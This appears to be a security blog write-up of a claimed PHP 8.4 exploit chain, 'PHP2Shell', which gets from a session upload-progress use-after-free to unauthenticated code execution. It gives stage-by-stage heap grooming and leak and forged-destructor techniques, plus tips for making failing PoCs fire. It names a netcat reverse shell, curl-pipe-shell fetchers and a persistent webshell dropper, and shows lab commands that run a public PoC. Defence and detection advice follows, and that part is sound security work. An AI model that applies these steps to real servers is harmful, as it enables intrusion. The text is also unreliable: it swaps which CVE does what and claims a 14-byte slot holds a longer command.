
PHP2Shell: how a session upload progress field turns PHP 8.4 into an unauthenticated RCE
Two CVEs filed in late October target the PHP engine itself, not an application: CVE-2026-109618 (an unauthenticated OOM-driven use-after-free in the session upload progress callback) and CVE-2026-109619 (the memory disclosure primitive that makes the UAF exploitable). Together they are known as PHP2Shell. The attack surface is the runtime, so a static index.php with zero PHP code is enough as long as session.upload_progress.enabled=1, which is the stock default since PHP 5.4. This piece explains how the chain actually works, why so many of the first public PoCs fail against real targets, and the one line of hardening that makes the whole chain go away.
First, some background
If use-after-free bugs and PHP's memory model are already second nature to you, skip ahead to the next section. If not, let me give you the small amount of ground the rest of this relies on, because the whole chain is built out of these few pieces.
A use-after-free, first. A program hands a block of memory back to its allocator (frees it) but keeps a pointer to it. Picture a library returning a book to the shelf but keeping the index card that still points at that slot. Later a different book is shelved in the same slot, and the stale card now points at someone else's book. If an attacker gets to decide which book lands in the reclaimed slot, the stale pointer reads or writes attacker-chosen bytes while the program still believes it owns the original object. That is the entire game here: force a free, control what gets allocated into the freed slot, then abuse the pointer that is still pointing at it.
PHP's memory model, in five nouns. A zval is the little struct behind every PHP variable; it carries a type tag and a value. An array is a HashTable, and each entry inside it is a bucket. PHP does not ask the operating system for memory one object at a time; its own allocator, zend_mm, carves everything out of 2 MB chunks. And the SAPI is the thin layer that glues PHP to the web server (mod_php living inside Apache, or PHP-FPM behind nginx). Those five words name every structure the exploit forges or corrupts.
Two CVEs doing two different jobs. They are easy to blur together, so hold them apart:
| CVE | What it hands the attacker |
|---|---|
| CVE-2026-109619 | A memory disclosure: the leak oracle that reads live heap back out through a response header. |
| CVE-2026-109618 | The OOM-driven use-after-free: the write-and-execute primitive. |
One tells you where things are, the other turns that knowledge into code execution. The chain needs both, which is why it is filed as two CVEs rather than one.
Why a plain multipart POST reaches the vulnerable code
session.upload_progress is a feature that lets a page poll its own session for byte counters while a file uploads. Any multipart POST that carries a form field whose name matches session.upload_progress.name (default PHP_SESSION_UPLOAD_PROGRESS) causes PHP to start a session during request startup, create a $_SESSION[upload_progress_<name>] key, and update it as each byte of the request body is parsed by php_session_rfc1867_callback. That callback caches raw zval* pointers to the counter buckets (post_bytes_processed, current_file_bytes_processed) so each byte-count update does not re-walk the hash table. Those cached pointers are the primitive the two CVEs abuse.
Nothing about this needs application code. A multipart POST to a static page served by mod_php still runs the entire PHP request lifecycle, including the rfc1867 callback and the session startup it triggers, which is why the X-Powered-By: PHP/8.4.26 banner alone (or the equivalent 8.2.0 to 8.2.34, 8.3.0 to 8.3.35, 8.5.0 to 8.5.11 banners) is enough reconnaissance. The reliability signal is also cheap: a tiny probe POST with the field name returns Set-Cookie: PHPSESSID=..., confirming the session machinery fired.
Stage 0: forcing a clean worker
Apache mod_php under prefork pre-forks a pool of worker children sized by MaxRequestWorkers (default 150). Each request lands on whatever child the MPM scheduler picks, and the UAF only pays out when stages 1 and 2 land on the SAME child in order. Any child that already serviced an unrelated request has heap state that scrambles the layout the attacker wants, so the first operational problem is pinning: hold most of the workers busy, do your work on the one or two that are left, then release.
The first and simplest way to pin workers is to open parallel TCP connections and dribble bytes slowly, keeping each child blocked on read(). The number that has to be pinned is MaxRequestWorkers - 1: a public PoC that pins 64 of 150 leaves 86 free children scrambling heap state, which is why those PoCs read "0 heap pointers" out of a successful looking leak request. Pinning the full 149 of 150 is what makes the next stage deterministic.
Stage 0's second job is the rotation itself. A single multipart POST sized to cross memory_limit during request startup forces zend_mm_safe_error to longjmp out, Apache reaps the worker because of the fatal, and prefork spawns a replacement with a clean heap. The attacker now has a known-fresh worker on the one free slot, and the pinning holds every other child, so the next three requests all land on that same child.
Stage 1: the dangling pointer window (CVE-2026-109619)
Stage 1 sends another multipart POST shaped like a legitimate upload. The parser enters php_session_rfc1867_callback, which:
- Calls
php_session_start(), which allocatesPS(id)(the session id string), opens the session file, assigns$_SESSIONtoPS(http_session_vars), and queuesSet-Cookie: PHPSESSID=<id>viasapi_add_headerso the client learns the id. - Creates
$_SESSION[upload_progress_<name>], a nested array of counters. - Caches raw
zval*pointers topost_bytes_processedandcurrent_file_bytes_processedinside that array so each MB chunk can bump the counters without re-walking.
Then stage 1 overshoots. By padding one later field until the arena cannot grow further, the parser trips zend_mm_safe_error and longjmps out of request startup. zend_activate_modules() never runs, which matters because zend_activate_modules() is where session's RINIT would re-anchor these pointers. The engine is now in a state where PS(id) and PS(http_session_vars) still reference the heap allocations from this request, but the request itself is unwinding and those allocations will be freed. The worker survives because mod_php traps the fatal and continues the HTTP keep-alive, but its session globals now point at freed memory.
The bail-out is where the two CVEs join. CVE-2026-109619 is the dangling pointer: the OOM path leaves PS(id) and PS(http_session_vars) referencing freed buckets. CVE-2026-109618 is what happens on the NEXT request on the same worker: zend_hash_update() on $_SESSION[upload_progress_<name>] frees the old bucket via zval_ptr_dtor, and the next allocator call reclaims the freed slot with attacker-controlled bytes. The engine then serializes those bytes as the new session id and queues them inside Set-Cookie: PHPSESSID=.
Stage 2: reading the heap through Set-Cookie
The oracle is the Set-Cookie header. A standard zend_string has a 24-byte header plus payload; by forging a zend_string whose len field is 600000, you tell php_url_encode (which the SAPI calls to serialize the session id into Set-Cookie) to read 600000 bytes starting from the string's data pointer and spill them, URL-encoded, into the header value.
Running that against a worker whose heap you just groomed spills up to ~600 KB of live heap into the header; the two anchors you need sit within the first few kilobytes of it.
- The chunk base. Take every 48-bit userland pointer in the decoded cookie and keep the most common 2 MB-aligned value. That is
chunk_base, the base of thezend_mmchunk your controlled allocations live in. Knowing it lets you compute the address of anything you place on that chunk. - The libphp base. The second anchor is a pointer into
libphp.so, the library whose code you eventually want to call. Stage 2 is shaped so that a freshly-allocated 56-byteHashTablelands where the leak can read it, and one of that structure's fields still holds a leftover pointer intolibphp.sofrom an earlier allocation. That pointer surfaces at a fixed spot in the decoded cookie. Every function in a loaded library sits at a constant distance from the library's base, so you sanity-check the candidate by confirming its low 12 bits match that known distance (page alignment never disturbs the low 12 bits), then subtract to recoverlibphp_base. With the library base known, ASLR onlibphp.sois defeated.
Both anchors are stable across keep-alive on the pinned worker because stage 1 drained the free list and stage 2 pinned the subsequent allocations to a predictable layout. Public PoCs that read "libphp = 0x0" are usually not misreading the cookie: they are reading a clean worker's cookie because stage 0's pinning let someone else serve the leak request.
Stage 3: the fake HashTable with pDestructor = zif_system
With chunk_base and libphp_base known, the attacker can now write exact addresses inside the vulnerable worker. The payload is a 167-byte zend_string that is simultaneously two overlapping fake structures:
- A fake
HashTableatchunk_base + ht_offsetwithpDestructor = libphp_base + zif_system_offset. In the engine, aHashTableis destroyed by calling itspDestructoron each element's zval. By pointingpDestructoratzif_system, every "element destruction" becomes a call tozif_system(zval*), PHP's internal implementation ofsystem(). - A single IS_STRING element whose bytes are the shell command the attacker wants to run.
zif_systemreads its first argument as a string zval and passes the string's bytes to/bin/sh -c.
The last move is to overwrite PS(http_session_vars) (still dangling from stage 1) with a fake IS_REFERENCE zval pointing at the carrier. Session write-close at request shutdown walks PS(http_session_vars), hits the forged HashTable, calls its pDestructor on the string element, and system(cmd) runs. The shell inherits the Apache user, usually www-data, and the exploit returns a plain HTTP response with no visible trace of the write-close machinery.
Carrier capacity bounds the command. The 167-byte zend_string leaves roughly 14 bytes for the inline command, which is enough for nc <ip> <port> -e /bin/sh on a target that has netcat, or for small curl | sh fetchers. A larger variant forges a 384-byte carrier that fits an inline webshell dropper plus a .htaccess with php_value auto_prepend_file so persistence lasts beyond the one shot. The small carrier is a hint about what to detect: a system() call whose arg length is under 20 bytes is already unusual.
The three operational details public PoCs often miss
Three things decide whether the chain fires on a real target even when the version banner matches. All three are solved problems once you know them, but every one of them silently returns an HTTP 200 "worked" response when it has not actually fired.
- Transfer-Encoding: chunked, with no Content-Length. PHP's rfc1867 parser rejects a POST before parsing if
Content-Length > post_max_size. Chunked with no Content-Length leavesSG(request_info).content_lengthat -1 and the pre-check passes, so the parser allocates per-field untilmemory_limitfires. Without this, any OOM payload large enough to actually crossmemory_limit=128Mis pre-rejected becausepost_max_sizeon stock inis is 8M. - Actually cross
memory_limit.php:8.4.26-apachestock defaults tomemory_limit=128M. A payload claiming to OOM with 12 MB of padding does not; the parser returns a plain HTTP 200, the worker survives, and no dangling pointers are left behind. The payload has to allocate enough per-field zval storage, during the window between$_SESSIONcreation andzend_activate_modules, to actually tripzend_mm_safe_error. A combination that works on 128 MB is roughly 129 one-megabyte big parts plus several hundred nested empty-file fields, with the exact shape tuned to force the allocation in the right phase. - Build-variant S_OFFSET.
zif_systemandzval_ptr_dtorare stable across the official docker image, but the carrier's internalS_OFFSET(where the fake HashTable lands inside the 167-byte zend_string) can vary by one 4 KB page between builds. A profile measured on a Debian trixie image reads0xF8398, while a build one revision apart reads0xF5398. The symptom is a successful leak followed by a stage-3 fire that returns the same HTTP 200 as a benign request. GDB-measure the offset on the target build, or precompute it fromnm /usr/lib/apache2/modules/libphp.soon the exact image under test.
If you have ever watched a PHP2Shell PoC return "leak OK, fire failed" against a stock mod_php box, every one of those three is the usual culprit.
Reproducing it against a lab target
The cleanest legal place to watch the whole chain fire is the retired Hack The Box web challenge Dark Embargo, which serves this exact bug on a stock php:8.4.26-apache image. Several researchers published working exploits during the disclosure window, so you point one of theirs at a spawned instance rather than writing your own:
- eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC has a
--profile {lab,bookworm}switch and is the most readable of the set. - 78ResearchLab/PHP2Shell-Full-Chain-Exploit is the same chain with an offset-sweep variant.
- JoasASantos/php2shell-exploit ships a v2 with four different command-carrier techniques and a per-build profile JSON.
A run against a spawned instance looks like the following. Nothing here is target-specific beyond the address HTB hands you, and the proof-of-execution command is a harmless id, which is all you need to confirm the chain rather than a shell:
git clone https://github.com/eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC
cd php2shell-CVE-2026-109618-CVE-2026-109619-PoC
# 1. Fingerprint: the probe POST should answer with Set-Cookie: PHPSESSID=
# If it does, the session upload-progress machinery is live and the target is worth shooting.
curl -s -D - -o /dev/null -F 'PHP_SESSION_UPLOAD_PROGRESS=x' http://TARGET:PORT/
# 2. Run the chain, asking only for id() as proof of code execution.
python3 poc_109618.py -u http://TARGET:PORT/ --cmd 'id' --profile bookworm
# -> uid=33(www-data) gid=33(www-data) groups=33(www-data)
Read the run through the lens of the three operational details above. A leak stage that prints a non-zero libphp base and a fire stage that returns uid=33(www-data) means the chain worked. A libphp base of zero means a clean worker served your leak request, so the pinning did not hold. A good leak followed by a fire that returns the same blank HTTP 200 as a benign request means you are on the wrong S_OFFSET for that exact build. The teaching value of doing this on a lab box is watching each stage's symptom in isolation, which is precisely what a defender has to recognize in production logs later. On a target that is tuned differently from the stock image (a different memory_limit, a one-page S_OFFSET shift, too few workers pinned), an HTB-specific PoC such as the community's dark-embargo exploit bakes in the right numbers, which is the difference between a first-try leak and a PoC that reads zero.
Why this matters
Three properties stack up to make this worse than a run-of-the-mill memory-corruption CVE:
- Unauthenticated and application-independent. There is no login to get past and no vulnerable endpoint to discover. Any multipart POST to any path served by an affected mod_php reaches the bug, including a box that hosts nothing but a static holding page. The exposed population is "PHP sites on a vulnerable version," not "PHP sites that happen to run vulnerable code."
- Fingerprint-and-shoot. The only reconnaissance is a version banner.
X-Powered-By: PHP/8.4.26plus a one-packet probe tells an attacker whether the whole chain is likely to work. That is exactly the shape that mass scanning and self-propagating worms feed on. - It lands as a foothold, not a crash. The payoff is
system()running as the web user, not a denial of service. Fromwww-datathe ordinary web-to-internal pivots open up: reading application config and database credentials, reaching adjacent internal services, and escalating locally on the host.
The mitigating factors are real but thin. The chain is most reliable against Apache mod_php prefork, because that model alone hands an attacker deterministic worker rotation over plain HTTP; PHP-FPM and other SAPIs are affected but much harder to drive remotely. And it is loud: the repeated worker deaths and the oversized Set-Cookie headers are both detectable. But "loud and unauthenticated against the default configuration of a language runtime with an enormous install base" is precisely the profile that turns into opportunistic internet-wide scanning within days of a public PoC.
Defense
The mitigation is a single INI line. Everything else is depth.
- Set
session.upload_progress.enabled = Off. The feature exists so a page can poll its own session for upload byte counts; almost no modern application uses it, and turning it off closes every variant of this chain because the vulnerable callback never registers. This is aPHP_INI_PERDIRdirective, so it goes in/etc/php/8.4/apache2/php.inior an.htaccesswithphp_admin_value. - Upgrade past the patched build. PHP 8.2.35, 8.3.36, 8.4.27, and 8.5.12 close CVE-2026-109618 and CVE-2026-109619. If upgrading is not immediate, the INI toggle is a safe stopgap because disabling upload progress breaks only applications that opted into it.
- Harden the arena the exploit grooms.
memory_limit=64M(or lower if the application tolerates it) makes crossing it in the right phase harder;post_max_sizecapped nearmemory_limitreduces the attacker's payload budget;max_input_varskept at or below the default 1000 limits how many nested fields the parser can allocate before giving up. None of these fix the bug, but each one narrows the operational window. - Prefer PHP-FPM over mod_php prefork where you can. The chain still exists on FPM, but prefork's deterministic worker-rotation-over-HTTP is what makes the chain reliable from the outside; FPM pools break the "same worker twice in a row" assumption that stage 1 and stage 2 depend on.
- Drop the version banner.
expose_php = OffremovesX-Powered-By, which does not stop a determined attacker but removes the single cheapest fingerprint and raises the cost of mass scanning.
Detection
- Apache workers dying with "Allowed memory size exhausted" in the error log, repeatedly, from the same source IP, inside a short window. This is stage 0 rotating workers. A healthy site has none of these; a probe has several in a minute.
- Set-Cookie headers whose PHPSESSID value is unusually long (hundreds of bytes). A normal PHPSESSID is 26 bytes. A leak-stage response carries hundreds. Alert on PHPSESSID length greater than 64 at the reverse proxy.
- Multipart POSTs with
Transfer-Encoding: chunkedand noContent-Length, carrying aPHP_SESSION_UPLOAD_PROGRESSfield. Chunked uploads to PHP are rare on application traffic and the field name is specific; the combination is a near-signature. www-data(or your Apache user) spawningsh,nc,curl,bash, or any short-lived child without a plausible parent script.zif_systemgoes through/bin/sh -c, so a short command (under 20 characters) coming from an Apache child is unusual on healthy servers.- Elevated worker respawn rates on
mod_prefork. Prefork does respawn, but a baseline cluster rarely does so dozens of times per minute from one client. Correlate with HTTP log 500s from the same IP.
Any one of these in isolation is noisy. Two or three together inside a minute from one source is the chain.
The four primitives, recapped
Strip away the offsets and the whole thing is four reusable building blocks:
- Worker rotation on demand. One oversized multipart field crosses
memory_limitand forces mod_php prefork to kill and respawn a child, handing you a clean worker with a known heap. - A dangling session pointer. The OOM bail-out skips module re-initialization, so
PS(id)andPS(http_session_vars)are left pointing at memory that is about to be freed. That is the disclosure CVE, 2026-109619. - A heap-read oracle. The freed session id is reflected back in
Set-Cookie, and a forged string length turns that header into a window onto ~600 KB of live heap, which gives up the chunk base and thelibphp.sobase. That is the use-after-free half, 2026-109618, used as a read. - A destructor you control. A fake
HashTablewhosepDestructorpoints atzif_system, reached through the still-dangling session pointer, turns ordinary request shutdown into a singlesystem(cmd).
Any one of these is a known pattern on its own. The CVE is that a stock PHP install hands all four to an unauthenticated client over plain HTTP.
Use
Authorized and educational use only: your own systems, a lab you control, or an engagement with written permission. This piece explains a documented runtime vulnerability so defenders can shut it, pairs it with the one-line mitigation that makes the whole chain inert, and points at the detection signals that fire even if someone forgets the INI toggle. Related reading: disable_functions is config, not a wall, and the broader SMB fully explained for how www-data RCE typically pivots inward from there.